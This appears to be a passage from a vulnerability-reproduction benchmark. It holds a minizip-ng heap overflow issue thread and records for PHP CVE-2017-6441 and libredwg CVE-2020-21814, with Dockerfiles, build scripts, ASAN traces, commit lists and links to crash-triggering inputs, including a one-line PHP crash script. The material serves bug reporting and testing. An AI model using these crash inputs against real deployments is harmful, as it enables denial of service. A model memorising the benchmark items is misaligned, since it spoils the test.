Usage: minizip [-x][-d dir|-l|-e][-o][-f][-y][-c cp][-a][-0 to -9][-b|-m|-t][-k 512][-p pwd][-s] file.zip [files]
-x Extract files
-l List files
-d Destination directory
-e Erase files
-o Overwrite existing files
-c File names use cp437 encoding (or specified codepage)
-a Append to existing zip file
-i Include full path of files
-f Follow symbolic links
-y Store symbolic links
-v Verbose info
-0 Store only
-1 Compress faster
-9 Compress better
-k Disk size in KB
-z Zip central directory
-p Encryption password
-s AES encryption
-b BZIP2 compression
-m LZMA compression
-n XZ compression
-t ZSTD compression
```
#### Replay
```bash
git clone https://github.com/zlib-ng/minizip-ng.git
cd minizip-ng/
export AFL_USE_ASAN=1
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake -S . -B build -D MZ_BUILD_TESTS=ON
cmake --build build
./minizip -x -o poc0
```
#### ASAN
```bash
-x -o /root/poc/minizip/poc0
Archive /root/poc/minizip/poc0
Extracting .\
=================================================================
==1735959==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000cf at pc 0x55555555cd5b bp 0x7fffffffdd20 sp 0x7fffffffdd10
READ of size 1 at 0x6020000000cf thread T0
#0 0x55555555cd5a in mz_path_has_slash (/root/test/minizip-ng/build/minizip+0x8d5a)
#1 0x555555572ac1 in mz_zip_reader_entry_save_file (/root/test/minizip-ng/build/minizip+0x1eac1)
#2 0x555555573ceb in mz_zip_reader_save_all (/root/test/minizip-ng/build/minizip+0x1fceb)
#3 0x55555555af70 in minizip_extract (/root/test/minizip-ng/build/minizip+0x6f70)
#4 0x55555555c7ec in main (/root/test/minizip-ng/build/minizip+0x87ec)
#5 0x7ffff73a9082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#6 0x555555558aed in _start (/root/test/minizip-ng/build/minizip+0x4aed)
0x6020000000cf is located 1 bytes to the left of 1-byte region [0x6020000000d0,0x6020000000d1)
allocated by thread T0 here:
#0 0x7ffff76a0a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x555555572749 in mz_zip_reader_entry_save_file (/root/test/minizip-ng/build/minizip+0x1e749)
#2 0x555555573ceb in mz_zip_reader_save_all (/root/test/minizip-ng/build/minizip+0x1fceb)
#3 0x55555555af70 in minizip_extract (/root/test/minizip-ng/build/minizip+0x6f70)
#4 0x55555555c7ec in main (/root/test/minizip-ng/build/minizip+0x87ec)
#5 0x7ffff73a9082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/test/minizip-ng/build/minizip+0x8d5a) in mz_path_has_slash
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa fd fd fa fa fd fd fa fa 00 07 fa fa 00 01
=>0x0c047fff8010: fa fa 00 01 fa fa 00 01 fa[fa]01 fa fa fa 01 fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1735959==ABORTING
```
#### POC
https://github.com/Akane0721/POC/blob/f37d805631e0a15bea1f15b6e1edfb3246a2e0fc/minizip-ng/poc0
#### Environment
```
Ubuntu 20.04
Clang 10.0.0
gcc 9.4.0
```
Comments:
Comment by pmqs on 2023-11-08 19:49:01+00:00:
Where did `poc0` come from?
`minizip` thinks it is badly formed
```
$ ./minizip -l poc0
minizip-ng 4.0.1 - https://github.com/zlib-ng/minizip-ng
---------------------------------------------------
-l poc0
Packed Unpacked Ratio Method Attribs Date Time CRC-32 Name
------ -------- ----- ------ ------- ---- ---- ------ ----
141 191 73% deflate a1a00000 11-07-14 06:22 f0c14f39 .\
Error -103 going to next entry in archive
```
so does `unzip`
```
$ unzip -l poc0
Archive: poc0
Length Date Time Name
--------- ---------- ----- ----
191 2014-11-07 06:22 .\
--------- -------
191 1 file
note: didn't find end-of-central-dir signature at end of central dir.
```
and `7z`
```
$ 7z l poc0
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz (506E3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 289 bytes (1 KiB)
Listing archive: poc0
--
Path = poc0
Type = zip
ERRORS:
Headers Error
WARNINGS:
Headers Error
There are data after the end of archive
Physical Size = 265
Tail Size = 24
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2014-11-07 05:22:56 ..... 191 141 limerick
------------------- ----- ------------ ------------ ------------------------
2014-11-07 05:22:56 191 141 1 files
Warnings: 1
Errors: 1
```
---
Comment by Akane0721 on 2023-11-09 07:01:29+00:00:
> Where did `poc0` come from?
>
> `minizip` thinks it is badly formed
>
> ```
> $ ./minizip -l poc0
> minizip-ng 4.0.1 - https://github.com/zlib-ng/minizip-ng
> ---------------------------------------------------
> -l poc0
> Packed Unpacked Ratio Method Attribs Date Time CRC-32 Name
> ------ -------- ----- ------ ------- ---- ---- ------ ----
> 141 191 73% deflate a1a00000 11-07-14 06:22 f0c14f39 .\
> Error -103 going to next entry in archive
> ```
>
> so does `unzip`
>
> ```
> $ unzip -l poc0
> Archive: poc0
> Length Date Time Name
> --------- ---------- ----- ----
> 191 2014-11-07 06:22 .\
> --------- -------
> 191 1 file
>
> note: didn't find end-of-central-dir signature at end of central dir.
> ```
>
> and `7z`
>
> ```
> $ 7z l poc0
>
> 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
> p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz (506E3),ASM,AES-NI)
>
> Scanning the drive for archives:
> 1 file, 289 bytes (1 KiB)
>
> Listing archive: poc0
>
> --
> Path = poc0
> Type = zip
> ERRORS:
> Headers Error
> WARNINGS:
> Headers Error
> There are data after the end of archive
> Physical Size = 265
> Tail Size = 24
>
> Date Time Attr Size Compressed Name
> ------------------- ----- ------------ ------------ ------------------------
> 2014-11-07 05:22:56 ..... 191 141 limerick
> ------------------- ----- ------------ ------------ ------------------------
> 2014-11-07 05:22:56 191 141 1 files
>
> Warnings: 1
>
> Errors: 1
> ```
poc0 is a malformed zip file generated by fuzzer. I used the "-x" flag when testing and it came into a heap-buffer-overflow crash. So maybe you could give a proper prompt when using "-x" to extract malformed files like poc0?
---
Comment by pmqs on 2023-11-09 08:53:39+00:00:
> poc0 is a malformed zip file generated by fuzzer. I used the "-x" flag when testing and it came into a heap-buffer-overflow crash. So maybe you could give a proper prompt when using "-x" to extract malformed files like poc0?
Aaaah, ok.
When built without ASAN the `poc0` zipfile triggers an error when you attempt to extract it
```
$ ./minizip -x poc0
minizip-ng 4.0.2 - https://github.com/zlib-ng/minizip-ng
---------------------------------------------------
-x poc0
Archive poc0
Extracting .\
Error -104 saving entries to disk poc0
```
That said, there is still a buffer overflow present. Let's take a look at that
FYI - the cmake build now support building with ASAN, like this.
```
cmake -S . -B build -D MZ_BUILD_TESTS=ON -DMZ_SANITIZER=Address
```
When I run that I get the line numbers where the problems are
```
./minizip -x poc0
minizip-ng 4.0.2 - https://github.com/zlib-ng/minizip-ng
---------------------------------------------------
-x poc0
Archive poc0
Extracting .\
=================================================================
==49164==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000010f at pc 0x55686d69e58d bp 0x7ffc7a5e2d80 sp 0x7ffc7a5e2d70
READ of size 1 at 0x60200000010f thread T0
#0 0x55686d69e58c in mz_path_has_slash /home/paul/git/minizip-ng/mz_os.c:71
#1 0x55686d6b55e1 in mz_zip_reader_entry_save_file /home/paul/git/minizip-ng/mz_zip_rw.c:698
#2 0x55686d6b67ef in mz_zip_reader_save_all /home/paul/git/minizip-ng/mz_zip_rw.c:893
#3 0x55686d69c6f0 in minizip_extract /home/paul/git/minizip-ng/minizip.c:379
#4 0x55686d69e02c in main /home/paul/git/minizip-ng/minizip.c:654
#5 0x7f2f44c280cf in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#6 0x7f2f44c28188 in __libc_start_main_impl ../csu/libc-start.c:360
#7 0x55686d69a264 in _start (/home/paul/git/minizip-ng/build/minizip+0x7264) (BuildId: 576262a7c293cbb21845b25bd97a13cb33d9dd27)
0x60200000010f is located 1 bytes before 1-byte region [0x602000000110,0x602000000111)
allocated by thread T0 here:
#0 0x7f2f456de997 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
#1 0x55686d6b5269 in mz_zip_reader_entry_save_file /home/paul/git/minizip-ng/mz_zip_rw.c:665
#2 0x55686d6b67ef in mz_zip_reader_save_all /home/paul/git/minizip-ng/mz_zip_rw.c:893
#3 0x55686d69c6f0 in minizip_extract /home/paul/git/minizip-ng/minizip.c:379
#4 0x55686d69e02c in main /home/paul/git/minizip-ng/minizip.c:654
#5 0x7f2f44c280cf in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/paul/git/minizip-ng/mz_os.c:71 in mz_path_has_slash
Shadow bytes around the buggy address:
0x601ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x601fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x601fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x602000000000: fa fa 05 fa fa fa 00 06 fa fa fd fd fa fa fd fd
0x602000000080: fa fa 00 07 fa fa 00 01 fa fa 00 01 fa fa 00 01
=>0x602000000100: fa[fa]01 fa fa fa 01 fa fa fa fa fa fa fa fa fa
0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==49164==ABORTING
```
Memory allocation in the `pathwfs` in `mz_zip_reader_entry_save_file`
```
int32_t mz_zip_reader_entry_save_file(void *handle, const char *path) {
mz_zip_reader *reader = (mz_zip_reader *)handle;
void *stream = NULL;
uint32_t target_attrib = 0;
int32_t err_attrib = 0;
int32_t err = MZ_OK;
int32_t err_cb = MZ_OK;
size_t path_length = 0;
char *pathwfs = NULL;
char *directory = NULL;
if (mz_zip_reader_is_open(reader) != MZ_OK)
return MZ_PARAM_ERROR;
if (!reader->file_info || !path)
return MZ_PARAM_ERROR;
path_length = strlen(path);
/* Convert to forward slashes for unix which doesn't like backslashes */
pathwfs = (char *)calloc(path_length + 1, sizeof(char));
```
The error is triggered in the `if` statement below
```
int32_t mz_path_has_slash(const char *path) {
int32_t path_len = (int32_t)strlen(path);
if (path[path_len - 1] != '\\' && path[path_len - 1] != '/')
return MZ_EXIST_ERROR;
return MZ_OK;
}
```
This needs further analysis
---
Comment by nmoinvaz on 2023-11-10 21:07:54+00:00:
Does checking for `path_len > 0` help?
---
Comment by pmqs on 2023-11-12 19:12:44+00:00:
> Does checking for `path_len > 0` help?
Yes it does. The error is triggered when `mz_path_has_slash` is called with a zero length path.
Fix in PR https://github.com/zlib-ng/minizip-ng/pull/741
---
Comment by pmqs on 2023-11-12 19:33:02+00:00:
@Akane0721 are your fuzz test available somewhere? They don't appear to be in the fuzzing that this project uses.
---
Comment by Akane0721 on 2023-11-13 02:08:49+00:00:
> @Akane0721 are your fuzz test available somewhere? They don't appear to be in the fuzzing that this project uses.
https://github.com/fdu-sec/NestFuzz
---
Comment by pmqs on 2023-11-13 10:51:38+00:00:
> > @Akane0721 are your fuzz test available somewhere? They don't appear to be in the fuzzing that this project uses.
>
> https://github.com/fdu-sec/NestFuzz
Thanks @Akane0721 but I don't see the fuzz test you used for minizip in that repo. Have I missed something? If you specific tests that use NestFuzz can you share them?
---
Comment by Akane0721 on 2023-11-13 12:56:14+00:00:
> > > @Akane0721 are your fuzz test available somewhere? They don't appear to be in the fuzzing that this project uses.
> >
> >
> > https://github.com/fdu-sec/NestFuzz
>
> Thanks @Akane0721 but I don't see the fuzz test you used for minizip in that repo. Have I missed something? If you specific tests that use NestFuzz can you share them?
Sorry, I'm not quite clear on what you mean by "fuzz test." Are you referring to the fuzzer's output folder for minizip or the fuzzer_stats file or something?
---
Comment by pmqs on 2023-11-13 13:42:25+00:00:
> > > > @Akane0721 are your fuzz test available somewhere? They don't appear to be in the fuzzing that this project uses.
> > >
> > >
> > > https://github.com/fdu-sec/NestFuzz
> >
> >
> > Thanks @Akane0721 but I don't see the fuzz test you used for minizip in that repo. Have I missed something? If you specific tests that use NestFuzz can you share them?
>
> Sorry, I'm not quite clear on what you mean by "fuzz test." Are you referring to the fuzzer's output folder for minizip or the fuzzer_stats file or something?
No. problem. The question is how to reproduce the test you ran with minizip + NestFuzz that highlighted the issue you have reported?
---
Comment by Akane0721 on 2023-11-13 14:26:06+00:00:
> > > > > @Akane0721 are your fuzz test available somewhere? They don't appear to be in the fuzzing that this project uses.
> > > >
> > > >
> > > > https://github.com/fdu-sec/NestFuzz
> > >
> > >
> > > Thanks @Akane0721 but I don't see the fuzz test you used for minizip in that repo. Have I missed something? If you specific tests that use NestFuzz can you share them?
> >
> >
> > Sorry, I'm not quite clear on what you mean by "fuzz test." Are you referring to the fuzzer's output folder for minizip or the fuzzer_stats file or something?
>
> No. problem. The question is how to reproduce the test you ran with minizip + NestFuzz that highlighted the issue you have reported?
output_dir link: https://github.com/Akane0721/POC/tree/f2b5178655c1e8fa9acbc1d6ba50be0c62d36016/minizip-out-folder (only kept the non-duplicated "crashes" files), and the input seed zip file is also put there.
fuzzer command:
```bash
export AFL_USE_ASAN=1
CC="path/to/NestFuzz/afl-gcc" CXX="path/to/NestFuzz/afl-g++" cmake -S . -B build -D MZ_BUILD_TESTS=ON
cmake --build build
path/to/NestFuzz/./afl-fuzz -m none -d -i $INPUT -o $OUTPUT -- $PROG -x -o @@
```
input logic processing command:
```bash
CC="path/to/NestFuzz/ipl-modeling/install/test-clang" CXX="path/to/NestFuzz/ipl-modeling/install/test-clang++" cmake -S . -B build -D MZ_BUILD_TESTS=ON
cmake --build build
python3 $ROOTDIR/fuzzer/NestFuzz/isi.py -t 300 -o $OUTPUT -l $LOG -- $PROGINFER -x -o @@
```
---
Comment by pmqs on 2023-11-13 14:34:08+00:00:
Thanks @Akane0721 !
---
Comment by nmoinvaz on 2023-11-13 18:05:37+00:00:
Fixed in 4.0.3. Thank you!
Commit References:
f37d805631e0a15bea1f15b6e1edfb3246a2e0fc
576262a7c293cbb21845b25bd97a13cb33d9dd27
f2b5178655c1e8fa9acbc1d6ba50be0c62d36016
|
[] |
[
{
"sha": "f37d805631e0a15bea1f15b6e1edfb3246a2e0fc",
"url": "https://github.com/zlib-ng/minizip-ng/commit/f37d805631e0a15bea1f15b6e1edfb3246a2e0fc"
},
{
"sha": "576262a7c293cbb21845b25bd97a13cb33d9dd27",
"url": "https://github.com/zlib-ng/minizip-ng/commit/576262a7c293cbb21845b25bd97a13cb33d9dd27"
},
{
"sha": "f2b5178655c1e8fa9acbc1d6ba50be0c62d36016",
"url": "https://github.com/zlib-ng/minizip-ng/commit/f2b5178655c1e8fa9acbc1d6ba50be0c62d36016"
},
{
"sha": "ba1567f73f09eea1ff3c8a82918dbb2a4d5722e8",
"url": "https://github.com/zlib-ng/minizip-ng/commit/ba1567f73f09eea1ff3c8a82918dbb2a4d5722e8"
},
{
"sha": "341760887456e78ed9b86b5b3008c3ddfbd96f97",
"url": "https://github.com/zlib-ng/minizip-ng/commit/341760887456e78ed9b86b5b3008c3ddfbd96f97"
},
{
"sha": "933cedf2bba3aada4237f6d2d0e0d18b1fa44335",
"url": "https://github.com/zlib-ng/minizip-ng/commit/933cedf2bba3aada4237f6d2d0e0d18b1fa44335"
},
{
"sha": "bdbcd4aed2e419a3ecefe8d81577eeff1a228f43",
"url": "https://github.com/zlib-ng/minizip-ng/commit/bdbcd4aed2e419a3ecefe8d81577eeff1a228f43"
},
{
"sha": "d63aa151d8fb1f33f8bc5a8d359188dfb8bcd8df",
"url": "https://github.com/zlib-ng/minizip-ng/commit/d63aa151d8fb1f33f8bc5a8d359188dfb8bcd8df"
}
] |
php.cve-2017-6441
|
php/php-src
|
e000b401acacd5c0e8d90ec36c2ef1c585d149a2
| 2017-02-14T12:33:55
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout e000b401acacd5c0e8d90ec36c2ef1c585d149a2
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=74146
## Description:
PHP Bug ID: 74146
Summary: Null pointer dereference in _zval_get_long_func_ex()
Status: Closed
PHP Version: 7.1.2
Assigned: pollita (profile)
Description:
Description:
------------
After some fuzz testing I found a crashing test case.
PHP 7.1.2 compiled from source with ASAN.
To reproduce: /php-7.1.2/sapi/cli/php php_zend_null_ptr.php
ASAN report:
ASAN:DEADLYSIGNAL
=================================================================
==26915==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000159 (pc 0x00000181faa6 bp 0x7fffa1f671b0 sp 0x7fffa1f670a0 T0)
==26915==The signal is caused by a READ memory access.
==26915==Hint: address points to the zero page.
#0 0x181faa5 in _zval_get_long_func_ex XYZ/php-7.1.2/Zend/zend_operators.c:787:5
#1 0x181faa5 in _zval_get_long_func XYZ/php-7.1.2/Zend/zend_operators.c:805
#2 0x17b581d in _zval_get_long XYZ/php-7.1.2/Zend/zend_operators.h:270:50
#3 0x17b581d in zend_compile_declare XYZ/php-7.1.2/Zend/zend_compile.c:4973
#4 0x17a6806 in zend_compile_stmt XYZ/php-7.1.2/Zend/zend_compile.c:7834:4
#5 0x17cada3 in zend_compile_top_stmt XYZ/php-7.1.2/Zend/zend_compile.c:7756:2
#6 0x17cad48 in zend_compile_top_stmt XYZ/php-7.1.2/Zend/zend_compile.c:7751:4
#7 0x16e65c6 in zend_compile XYZ/php-7.1.2/Zend/zend_language_scanner.l:601:3
#8 0x16e5f34 in compile_file XYZ/php-7.1.2/Zend/zend_language_scanner.l:635:14
#9 0x11ba040 in phar_compile_file XYZ/php-7.1.2/ext/phar/phar.c:3320:9
#10 0x185b1a8 in zend_execute_scripts XYZ/php-7.1.2/Zend/zend.c:1469:14
#11 0x161d54d in php_execute_script XYZ/php-7.1.2/main/main.c:2537:14
#12 0x1ccd48b in do_cli XYZ/php-7.1.2/sapi/cli/php_cli.c:993:5
#13 0x1cca38e in main XYZ/php-7.1.2/sapi/cli/php_cli.c:1381:18
#14 0x7f5bac0ed82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#15 0x463528 in _start (XYZ/php-7.1.2/sapi/cli/php+0x463528)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV XYZ/php-7.1.2/Zend/zend_operators.c:787:5 in _zval_get_long_func_ex
==26915==ABORTING
Test script:
---------------
<?(function(){});function f(){}declare(ticks=±){}
Comments:
[Comment 1] [2017-03-02 16:52 UTC] fumfi dot 255 at gmail dot com
This is CVE-2017-6441.
[Comment 2] [2017-03-02 18:31 UTC] [email protected]
Please do not request CVEs for ordinary bugs. CVEs are relevant for security issues only.
[Comment 3] [2017-03-02 18:37 UTC] [email protected]
The PR was merged.
|
[] |
[] |
libredwg.cve-2020-21814
|
libredwg/libredwg
|
7b9cb829f93d1c1f67584345ed65ea830de8bdda
| 2020-01-09T06:35:01
|
libredwg
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout 7b9cb829f93d1c1f67584345ed65ea830de8bdda
WORKDIR $SRC/libredwg
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
sh ./autogen.sh
./configure --disable-shared
make -j$(nproc)
|
/src/libredwg
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572891083
## Description:
Issue: LibreDWG/libredwg#182
Title: Several bugs found by fuzzing
Referenced comment by linhlhq on 2020-01-10 06:18:13+00:00:
**8.heap-buffer-overflow in htmlwescape ../../programs/escape.c:97**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000099%2Csig:06%2Csrc:005125%2B003017%2Cop:splice%2Crep:8
ASAN says:
```
==682==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000019fa at pc 0x7ff79912866e bp 0x7ffdca846b10 sp 0x7ffdca8462b8
READ of size 28 at 0x6040000019fa thread T0
#0 0x7ff79912866d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x5586562889e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x5586562889e7 in htmlwescape ../../programs/escape.c:97
#3 0x5586562848de in output_TEXT ../../programs/dwg2SVG.c:111
#4 0x5586562848de in output_object ../../programs/dwg2SVG.c:312
#5 0x5586562848de in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x558656283477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x558656283477 in main ../../programs/dwg2SVG.c:525
#8 0x7ff798969b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x558656283d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x6040000019fa is located 0 bytes to the right of 42-byte region [0x6040000019d0,0x6040000019fa)
allocated by thread T0 here:
#0 0x7ff7991b5b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x5586562883f2 in htmlwescape ../../programs/escape.c:79
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c087fff82e0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
0x0c087fff82f0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
0x0c087fff8300: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x0c087fff8310: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c087fff8320: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
=>0x0c087fff8330: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00[02]
0x0c087fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==682==ABORTING
```
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_dwg_decode.options"
}
] |
[
{
"sha": "b7fa220b62c5ce9f95d7a45558bc55b8df2b41ad",
"url": "https://github.com/LibreDWG/libredwg/commit/b7fa220b62c5ce9f95d7a45558bc55b8df2b41ad"
},
{
"sha": "7e4c59b63d9c5b4b513cba1d0f33612042524563",
"url": "https://github.com/LibreDWG/libredwg/commit/7e4c59b63d9c5b4b513cba1d0f33612042524563"
},
{
"sha": "e8c3edb987ce5602c2daca8e1593d7d1c95befdb",
"url": "https://github.com/LibreDWG/libredwg/commit/e8c3edb987ce5602c2daca8e1593d7d1c95befdb"
},
{
"sha": "f2b5adbd0e68eff0f311380caa8edb7e8a5c4958",
"url": "https://github.com/LibreDWG/libredwg/commit/f2b5adbd0e68eff0f311380caa8edb7e8a5c4958"
},
{
"sha": "3d9e2d48bf0df8d0ecbad821d0644fd3840c2cee",
"url": "https://github.com/LibreDWG/libredwg/commit/3d9e2d48bf0df8d0ecbad821d0644fd3840c2cee"
},
{
"sha": "828cb3848356acea9cef9914a4bb4bc8c41814f8",
"url": "https://github.com/LibreDWG/libredwg/commit/828cb3848356acea9cef9914a4bb4bc8c41814f8"
},
{
"sha": "529decd91126d9a436ce2d0a84434ed7899be507",
"url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507"
},
{
"sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687",
"url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687"
},
{
"sha": "496702e3c2486adae863fd919f20e7a7490c847c",
"url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c"
},
{
"sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a",
"url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a"
},
{
"sha": "07c078aca71840f0f9a0dffb3032056d043858b0",
"url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0"
},
{
"sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5",
"url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5"
},
{
"sha": "93c25124c191987af168ace9fe4b5623061874bd",
"url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd"
},
{
"sha": "e03b16b603c566c317f7c5161cc7550360081dd0",
"url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0"
},
{
"sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7",
"url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7"
},
{
"sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a",
"url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a"
},
{
"sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231",
"url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231"
},
{
"sha": "69b4132a0591b81fddd30588a67c79fc01e69c52",
"url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52"
},
{
"sha": "0075d173dbb015b72ed779d6ec7ca016841972f3",
"url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3"
},
{
"sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5",
"url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5"
},
{
"sha": "3d32e491b912cce17c6b8080b32872b1c11472c3",
"url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3"
},
{
"sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131",
